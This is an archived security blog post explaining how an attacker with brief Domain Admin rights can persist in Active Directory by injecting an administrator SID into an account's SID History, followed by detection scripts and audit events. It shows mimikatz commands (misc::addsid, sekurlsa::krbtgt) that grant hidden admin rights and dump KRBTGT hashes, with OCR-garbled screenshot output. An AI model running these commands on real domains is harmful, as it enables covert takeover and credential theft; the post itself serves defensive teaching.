https://adsecurity.org/?p=1772

Sneaky Active Directory Persistence #14: SID History

By Sean Metcalf

Published: 2015-09-19 - Archived: 2026-04-05 17:27:33 UTC

The content in this post describes a method by which an attacker could persist administrative access to Active

Directory after having Domain Admin level rights for 5 minutes.

I presented on this AD persistence method in Las Vegas at DEF CON 23 (2015).

Complete list of Sneaky Active Directory Persistence Tricks posts

SID History is an attribute that supports migration scenarios. Every user account has an associated Security
IDentifier (SID) which is used to track the security principal and the access the account has when connecting to
resources. SID History enables access for another account to effectively be cloned to another. This is extremely
useful to ensure users retain access when moved (migrated) from one domain to another. Since the user’s SID
changes when the new account is created, the old SID needs to map to the new one. When a user in Domain A is
migrated to Domain B, a new user account is created in DomainB and DomainA user’s SID is added to
DomainB’s user account’s SID History attribute. This ensures that DomainB user can still access resources in

DomainA.

The interesting part of this is that SID History works for SIDs in the same domain as it does across domains in the
same forest, which means that a regular user account in DomainA can contain DomainA SIDs and if the DomainA
SIDs are for privileged accounts or groups, a regular user account can be granted Domain Admin rights without

being a member of Domain Admins.

Note: A regular user in a domain can contain the Enterprise Admin SID in its SID History from another domain in
the Active Directory forest, thus “elevating” access for the user account to effective Domain Admin in all domains
in the forest. if you have a forest trust without SID Filtering enabled (also called Quarantine), it’s possible to inject
a SID from another forest and it will be added to the user token when authenticated and used for access

evaluations.

Mimikatz enables SID History injection to any user account (requires Domain Admin or equivalent rights). In this
scenario, the attacker creates the user account “bobafett” and adds the default administrator account for the

domain, “ADSAdministrator” (RID 500), to the account’s SID History attribute.
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PS t:htemp&mimih- = mimikatz “privilege: :debug” "misc::addsid bobafett ADSAdministrator
LB mimikatz 2.0 alpha (x64) release "Kiwi en C" (May 29 2015
'Eenjanjn DELPY “gentilkiwi’™ ( jami n@genti Tkiwi

TEE v g http://blog. gentilkiwi. com/mimi
"R

w?th 15 modules =

mimikatz(commandline) # privilege::debug
Priwvileg 20" 0K

ymmandline) # misc::addsid bobafett ADSAdministrator
for 'bobafett’
= ADSAdministrator oK

When the bobafett account logs on, all of the SIDs associated with the account are added to the user’s token which
is used to determine access to resources. The SIDs associated with the account is the user’s SID, the group SIDs in
which the user is a member (including groups that those groups are a member of), and SIDs contained in SID

History.

Using the PowerShell Active Directory cmdlet “Get-ADUser”, we can see there is no group membership assigned

to the bobafett account, though it does have a SID in SIDHistory (the ADSAdministrator account).
P5 C:hZtemp'\mimikatz> get-aduser bobafett -properties sidhistory,memberof

DistinguishedName : CHN=BobaFett,CN=Users,Dl=lab,=adsecurity,DC=0org
Enabled : True
z1venName 3
Memberof : {7}
: BobaFett
. er

; dddletcO-82a8-469F-b243-8602300e2dbe
obaFett

: 91-140008446-3268284411-3103
DHistory : 2 5i 191-1400058446-32658284411-5007}
Irname 3
UzerPrincipalName : BobaFett®lab.adsecurity.org

When bobafett logs on, the SIDs associated with the account are evaluated and access determined based on these
SIDs. Since the bobafett account is associated with the ADSAdmnistrator account (RID 500), the bobafett account

has all access the ADSAdministrator account has, including Domain Admin rights.

Leveraging the bobafett user account and the rights granted to it through SID History, it is possible to use

PowerShell remoting to pull the KRBTGT account password data from a Domain Controller.
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Windows PowersShell
Copyright <(C> 2887 Microsoft Corporation. All rights reserved.

PS C:sUsers:BobhaFett> whoami
adseclabshobafett
PS C:sUserssBobaFett? Enter—PS8ession —ComputerMame adsdcB3.lab.adsecurity.org
[adsdcB3.lab.adsecurity.orgl: PS8 C:sU “BobaFett“Documents> whoami
=dcB3.lab.adsecurity.orgl: P8 C:sUsers:BohaFett:Documents> c:stempsmimikatz“Mimikatz ""privilege::debug" “sekurlsa: :kp|
htgt" exit

- . mimikatz 2.8 alpha (x64> release "Kiwi en C" (May 22 2815 23:55:17>
I SR
B 2 N HE e o= o=
Benjamin DELPY ‘gentilkiwi® ¢ benjaminPfgentilkiwi.com »
http:/~blog.gentilkivi.con/mimikatz {oe.eo
with 15 modules = % %/

mimikatz{commandline) # privilege: :debhug
Privilege ‘20° OK

mimikatz{commandline) # sekurlsa::krbtgt

Current krhtgt: § credentials
* pcd_hmac_nt 1a33736fd25adA6dd9c61318173bc326
rcd_hmac_old 1a33736fd25adA6dd?c61318173bc326
rcd_md4 1a33736fd25adAbdd?c61318173bc326
aes256_hmac 20d7c5cef8eaef h478e??eBbechbbalcac2819h2ed432f Fh32141c5f7184e6%e
aesl28_hmac 2433f1c6d1Ba2d466294f F?83a625250

»
»
»
»

mimikatz{commandline> # exit

Bye *
[adsdcB3.lab.adsecurity.orgl: P§ G:sUsers:BobaFett“Documents> _

Detection

The best way to detect SID History account escalation is to enumerate all users with data in the SID History
attribute and flag the ones which include SIDs in the same domain*. If users haven’t been migrated, you can
simply search for all users with data in the SIDHistory attribute. This is why it’s important to clean up SID History

after a migration is complete (and the user is added to the correct groups for required resource access).
The PowerShell AD Cmdlet “Get-ADUser” is most useful for detecting “Same Domain SID History”:

# Detect Same Domain SID History
Import-Module ActiveDirectory
[string]$DomainSID = ( (Get-ADDomain).DomainSID.Value )

Get-ADUser -Filter “SIDHistory -Like ‘*"” -Properties SIDHistory | °
Where { $_.SIDHistory -Like “$DomainSID-*" }

This graphic shows the result of running the “Same Domain SIDHistory” Detection PowerShell Script. Note that

the SID in the user’s SIDHistory ends with “500” which is the default domain Administrator account which is a
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member of Administrators, Domain Admins, Schema Admins, and Enterprise Admins by default.
P5 C:%> Import-Module ActiveDnrectory
[string]$Domain5ID = ((Get-ADDomain).DomainSID. Value)

Get-ADUser -Filter { SIDHistory -Like “"=" } -Properties SIDHistory |
Where { §_.5IDHistory -Like "$DomainsID-=" }

DistinguishedMame : CN=BothanSpy,CN=Users,DC=rd,D{=adsecurity,D{=0rg
Enabled : True

G1venName 2

Mame : BothanSpy

ObjectClass I user

ObjectGUID : T4552eeb-e8cf-4a77-9dab-28b872F465ca
SamAccountMName : BothanSpy

5ID : 5-1-5-21-2578996962-41855879466—-3696909401-3103
SIDHistory : {5-1-5-21-2578996962-4185879466—-3696209401-5007}
Surname =

UserPrincipalName : BothanSpy@rd. adsecurity.org

*Note: In multi-domain forests, it is recommended to look for admin group SIDs (and member account SIDs) in

every domain in the forest as well as trusted domains/forests.
Detection via Domain Controller Events

Detection of successful modification or failed attempt to modify the SIDHistory attribute is possible with the

following logging:

Configure sub-category auditing under Account Management, “Audit User Account Management” (success) on

Domain Controllers for the following event ids:

e 4765: SID History was added to an account.
e 4766: An attempt to add SID History to an account failed.
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